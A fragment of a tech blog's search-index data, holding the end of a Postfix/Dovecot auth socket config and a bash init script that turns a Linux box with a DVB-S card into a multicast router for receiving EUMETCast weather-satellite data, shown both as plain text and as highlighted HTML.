data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e socket listen {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    client {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      path \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003espool\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003epostfix\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eprivate\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eauth\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      mode \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0660\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      user \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e postfix\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      group \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e postfix\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Postfix - Auth Dovecot Backend"},{"content":"This simple script transform a linux box into a DVB-S Satellite router to receive data from Eurobird 9E used by EUMETSAT to redistribute weather satellite image.\nREQUIRE: DVB Tools SMCroute PCI Card supported by Linux/DVB Tools (ex. Skystar 2)\n#!/bin/bash #################################################################### #\t# # Leonardo Rizzi # # Late night 24/04/2010\t# # Revision 1.0\t# # Tune DVB-S pci card for Eurobird 9E shifted from 13E Hotbird # # Tune, set net PID, Enable multicasting ecc. ecc. blah blah buuuu # #\t# #################################################################### #Globalvar DTUNE=\u0026#34;/usr/bin/dvbtune\u0026#34; DNET=\u0026#34;/usr/bin/dvbnet\u0026#34; MROUTE=\u0026#34;/usr/sbin/smcroute\u0026#34; IFCONFIG=\u0026#34;/sbin/ifconfig\u0026#34; SERVICE=\u0026#34;eumetsat\u0026#34; #Set dvbcard 0-3 INT=\u0026#34;0\u0026#34; #Set multicast forwarding interface and ip (by default TelliCast bind on 192.168.238.238) MINT=\u0026#34;eth1\u0026#34; MIP=\u0026#34;192.168.238.238\u0026#34; #Set absolute frequency in Hz FREQ=11977000 #Set polarization POL=H #Set symbol rate SYR=27500 #Set PID one space for value separation PID=\u0026#34;100 300 301 302 500 509 510 511\u0026#34; #Begin start!! case \u0026#34;$1\u0026#34; in start) # Pre-Start check test -x $DTUNE || { echo \u0026#34;$DTUNE not installed or not configured properly\u0026#34;; if [ \u0026#34;$1\u0026#34; = \u0026#34;stop\u0026#34; ]; then exit 0; else exit 5; fi; } test -x $DNET || { echo \u0026#34;$DNET not installed or not configured properly\u0026#34;; if [ \u0026#34;$1\u0026#34; = \u0026#34;stop\u0026#34; ]; then exit 0; else exit 5; fi; } test -x $MROUTE || { echo \u0026#34;$MROUTE not installed or not configured properly\u0026#34;; if [ \u0026#34;$1\u0026#34; = \u0026#34;stop\u0026#34; ]; then exit 0; else exit 5; fi; } test -x $IFCONFIG || { echo \u0026#34;$IFCONFIG not installed or not configured properly\u0026#34;; if [ \u0026#34;$1\u0026#34; = \u0026#34;stop\u0026#34; ]; then exit 0; else exit 5; fi; } test -d /dev/dvb/adapter$INT || { echo \u0026#34;DVB$INT device not installed or not configured properly\u0026#34;; if [ \u0026#34;$1\u0026#34; = \u0026#34;stop\u0026#34; ]; then exit 0; else exit 5; fi; } # Tuning the dvb frequency echo \u0026#34;\u0026#34; echo \u0026#34;Tune the satellite donwlink on interface ${INT}\u0026#34; ${DTUNE} -c ${INT} -f ${FREQ} -p ${POL} -s ${SYR} -m \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 \u0026amp; # Set address on local forwarding interface and bring it up echo \u0026#34;\u0026#34; echo \u0026#34;Set multicast forwarding interface ${MINT}\u0026#34; ${IFCONFIG} ${MINT} ${MIP} multicast up # Set PID on active dvb interface echo \u0026#34;\u0026#34; echo \u0026#34;Set net interface for listed PID:\u0026#34; for i in ${PID} do echo \u0026#34;Bring up PID $i\u0026#34; ${DNET} -a ${INT} -p $i\u0026gt;/dev/null 2\u0026gt;\u0026amp;1 done # Set address on dvbs interfaces and bring it up echo \u0026#34;\u0026#34; echo \u0026#34;Set net interface up:\u0026#34; for ii in {0..7} do echo \u0026#34;Bring up dvb net interface $ii\u0026#34; ${IFCONFIG} dvb${INT}_$ii 192.168.22$ii.238 up \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 done # Start multicast router echo \u0026#34;\u0026#34; echo \u0026#34;Enable Multicast Router\u0026#34; ${MROUTE} -d #PID 100 multicast forward echo \u0026#34;Set multicast for PID 100\u0026#34; ${MROUTE} -a dvb0_0 192.168.1.1 224.223.222.34 ${MINT} ${MROUTE} -a dvb0_0 192.168.1.1 224.223.222.36 ${MINT} ${MROUTE} -a dvb0_0 192.168.1.1 224.223.222.40 ${MINT} ${MROUTE} -a dvb0_0 192.168.1.1 224.223.222.223 ${MINT} #PID 300 multicast forward echo \u0026#34;Set multicast for PID 300\u0026#34; ${MROUTE} -a dvb0_1 192.168.1.1 224.223.222.21 ${MINT} ${MROUTE} -a dvb0_1 192.168.1.1 224.223.222.31 ${MINT} ${MROUTE} -a dvb0_1 192.168.1.1 224.223.222.32 ${MINT} ${MROUTE} -a dvb0_1 192.168.1.1 224.223.222.37 ${MINT} ${MROUTE} -a dvb0_1 192.168.1.1 224.223.222.226 ${MINT} ${MROUTE} -a dvb0_1 192.168.1.1 224.223.222.252 ${MINT} ${MROUTE} -a dvb0_1 192.168.1.1 224.223.222.253 ${MINT} #PID 301 multicast forward echo \u0026#34;Set multicast for PID 301\u0026#34; ${MROUTE} -a dvb0_2 192.168.1.1 224.223.222.23 ${MINT} ${MROUTE} -a dvb0_2 192.168.1.1 224.223.222.33 ${MINT} ${MROUTE} -a dvb0_2 192.168.1.1 224.223.222.38 ${MINT} ${MROUTE} -a dvb0_2 192.168.1.1 224.223.222.39 ${MINT} ${MROUTE} -a dvb0_2 192.168.1.1 224.223.222.35 ${MINT} ${MROUTE} -a dvb0_2 192.168.1.1 224.223.222.227 ${MINT} ${MROUTE} -a dvb0_2 192.168.1.1 224.223.222.251 ${MINT} #PID 302 multicast forward echo \u0026#34;Set multicast for PID 302\u0026#34; ${MROUTE} -a dvb0_3 192.168.1.1 224.223.222.25 ${MINT} #PID 500 multicast forward echo \u0026#34;Set multicast for PID 500\u0026#34; ${MROUTE} -a dvb0_4 192.168.1.1 224.223.222.1 ${MINT} ${MROUTE} -a dvb0_4 192.168.1.1 224.223.222.22 ${MINT} ${MROUTE} -a dvb0_4 192.168.1.1 224.223.222.28 ${MINT} ${MROUTE} -a dvb0_4 192.168.1.1 224.223.222.27 ${MINT} ${MROUTE} -a dvb0_4 192.168.1.1 224.223.222.29 ${MINT} ${MROUTE} -a dvb0_4 192.168.1.1 224.223.222.30 ${MINT} #PID 509 multicast forward echo \u0026#34;Set multicast for PID 509\u0026#34; ${MROUTE} -a dvb0_5 192.168.1.1 224.223.222.248 ${MINT} ${MROUTE} -a dvb0_5 192.168.1.1 224.223.222.249 ${MINT} ${MROUTE} -a dvb0_5 192.168.1.1 224.223.222.250 ${MINT} #PID 510 multicast forward echo \u0026#34;Set multicast for PID 510\u0026#34; ${MROUTE} -a dvb0_6 192.168.1.1 224.223.222.231 ${MINT} ${MROUTE} -a dvb0_6 192.168.1.1 224.223.222.232 ${MINT} ${MROUTE} -a dvb0_6 192.168.1.1 224.223.222.233 ${MINT} ${MROUTE} -a dvb0_6 192.168.1.1 224.223.222.234 ${MINT} ${MROUTE} -a dvb0_6 192.168.1.1 224.223.222.235 ${MINT} ${MROUTE} -a dvb0_6 192.168.1.1 224.223.222.236 ${MINT} ${MROUTE} -a dvb0_6 192.168.1.1 224.223.222.237 ${MINT} ${MROUTE} -a dvb0_6 192.168.1.1 224.223.222.239 ${MINT} ${MROUTE} -a dvb0_6 192.168.1.1 224.223.222.240 ${MINT} ${MROUTE} -a dvb0_6 192.168.1.1 224.223.222.242 ${MINT} ${MROUTE} -a dvb0_6 192.168.1.1 224.223.222.243 ${MINT} ${MROUTE} -a dvb0_6 192.168.1.1 224.223.222.244 ${MINT} ${MROUTE} -a dvb0_6 192.168.1.1 224.223.222.245 ${MINT} ${MROUTE} -a dvb0_6 192.168.1.1 224.223.222.246 ${MINT} ${MROUTE} -a dvb0_6 192.168.1.1 224.223.222.247 ${MINT} sleep 5 ;; stop) # Stopping the dvb card echo \u0026#34;\u0026#34; echo \u0026#34;Stopping Satellite Downlink\u0026#34; killall dvbtune \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 echo \u0026#34;\u0026#34; echo \u0026#34;Stopping Multicast Routing\u0026#34; # Stopping Multicast Router ${MROUTE} -k # Disable dvbs interfaces and remove active PID echo \u0026#34;\u0026#34; echo \u0026#34;Shutting down DVB-S interfaces\u0026#34; for iii in {0..7} do /sbin/ifconfig dvb0_$iii down \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 ${DNET} -d $iii \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 done # Remove and disable multicasting forwarding interface echo \u0026#34;\u0026#34; echo \u0026#34;Shutting down multicasting forwarding interface\u0026#34; ${IFCONFIG} ${MINT} del ${MIP} multicast ${IFCONFIG} ${MINT} down ;; restart) $0 stop $0 start ;; status) PID1=\u0026#39;pidof dvbtune\u0026#39; echo \u0026#34;\u0026#34; echo \u0026#34;Tuning subsystem running at pid\u0026#34; $PID1 PID2=\u0026#39;pidof smcroute\u0026#39; echo \u0026#34;\u0026#34; echo \u0026#34;Mulicast router running at pid\u0026#34; $PID2 ;; multicast) echo \u0026#34;Multicasting Routing table:\u0026#34; ip mroute show ;; *) echo \u0026#34;Usage: $0 [start|stop|restart|status|multicast]\u0026#34; ;; esac exit;s ","permalink":"https://www.deepreflect.net/2011/10/10/linux-multicast-dvb-s-router-for-eumetcast/","summary":"\u003cp\u003eThis simple script transform a linux box into a DVB-S Satellite router to receive data from Eurobird 9E used by EUMETSAT to redistribute weather satellite image.\u003c/p\u003e\n\u003cp\u003eREQUIRE:\nDVB Tools\nSMCroute\nPCI Card supported by Linux/DVB Tools (ex. Skystar 2)\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#!/bin/bash\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e####################################################################\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#\t\t\t\t\t\t\t\t   #\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Leonardo Rizzi \t\t\t\t\t\t   #\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Late night 24/04/2010\t\t\t\t\t\t   #\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Revision 1.0\t\t\t\t\t\t\t   #\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Tune DVB-S pci card for Eurobird 9E shifted from 13E Hotbird     #\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Tune, set net PID, Enable multicasting ecc. ecc. blah blah buuuu #\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#\t\t\t\t\t\t\t\t   #\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e####################################################################\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#Globalvar\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDTUNE\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/usr/bin/dvbtune\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDNET\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/usr/bin/dvbnet\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMROUTE\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/usr/sbin/smcroute\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eIFCONFIG\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/sbin/ifconfig\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSERVICE\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;eumetsat\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#Set dvbcard 0-3\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eINT\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;0\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#Set multicast forwarding interface and ip (by default TelliCast bind on 192.168.238.238)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMINT\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;eth1\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMIP\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;192.168.238.238\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#Set absolute frequency in Hz\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eFREQ\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e11977000\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#Set polarization\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePOL\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eH\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#Set symbol rate\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSYR\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e27500\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#Set PID one space for value separation\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePID\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;100 300 301 302 500 509 510 511\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#Begin start!!\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003ecase\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e$1\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e in\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  start\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \t\u003cspan style=\"color:#75715e\"\u003e# Pre-Start check\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \ttest -x $DTUNE \u003cspan style=\"color:#f92672\"\u003e||\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e{\u003c/span\u003e echo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e$DTUNE\u003cspan style=\"color:#e6db74\"\u003e not installed or not configured properly\u0026#34;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e$1\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;stop\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e; \u003cspan style=\"color:#66d9ef\"\u003ethen\u003c/span\u003e exit 0;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eelse\u003c/span\u003e exit 5; \u003cspan style=\"color:#66d9ef\"\u003efi\u003c/span\u003e; \u003cspan style=\"color:#f92672\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        test -x $DNET \u003cspan style=\"color:#f92672\"\u003e||\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e{\u003c/span\u003e echo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e$DNET\u003cspan style=\"color:#e6db74\"\u003e not installed or not configured properly\u0026#34;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e$1\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;stop\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e; \u003cspan style=\"color:#66d9ef\"\u003ethen\u003c/span\u003e exit 0;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eelse\u003c/span\u003e exit 5; \u003cspan style=\"color:#66d9ef\"\u003efi\u003c/span\u003e; \u003cspan style=\"color:#f92672\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        test -x $MROUTE \u003cspan style=\"color:#f92672\"\u003e||\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e{\u003c/span\u003e echo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e$MROUTE\u003cspan style=\"color:#e6db74\"\u003e not installed or not configured properly\u0026#34;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e$1\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;stop\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e; \u003cspan style=\"color:#66d9ef\"\u003ethen\u003c/span\u003e exit 0;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eelse\u003c/span\u003e exit 5; \u003cspan style=\"color:#66d9ef\"\u003efi\u003c/span\u003e; \u003cspan style=\"color:#f92672\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        test -x $IFCONFIG \u003cspan style=\"color:#f92672\"\u003e||\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e{\u003c/span\u003e echo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e$IFCONFIG\u003cspan style=\"color:#e6db74\"\u003e not installed or not configured properly\u0026#34;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e$1\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;stop\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e; \u003cspan style=\"color:#66d9ef\"\u003ethen\u003c/span\u003e exit 0;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eelse\u003c/span\u003e exit 5; \u003cspan style=\"color:#66d9ef\"\u003efi\u003c/span\u003e; \u003cspan style=\"color:#f92672\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        test -d /dev/dvb/adapter$INT \u003cspan style=\"color:#f92672\"\u003e||\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e{\u003c/span\u003e echo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;DVB\u003c/span\u003e$INT\u003cspan style=\"color:#e6db74\"\u003e device not installed or not configured properly\u0026#34;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e$1\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;stop\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e; \u003cspan style=\"color:#66d9ef\"\u003ethen\u003c/span\u003e exit 0;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eelse\u003c/span\u003e exit 5; \u003cspan style=\"color:#66d9ef\"\u003efi\u003c/span\u003e; \u003cspan style=\"color:#f92672\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#75715e\"\u003e# Tuning the dvb frequency\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\techo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\techo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Tune the satellite donwlink on interface \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eDTUNE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -c \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -f \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eFREQ\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -p \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003ePOL\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -s \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eSYR\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -m \u0026gt;/dev/null 2\u0026gt;\u0026amp;\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e 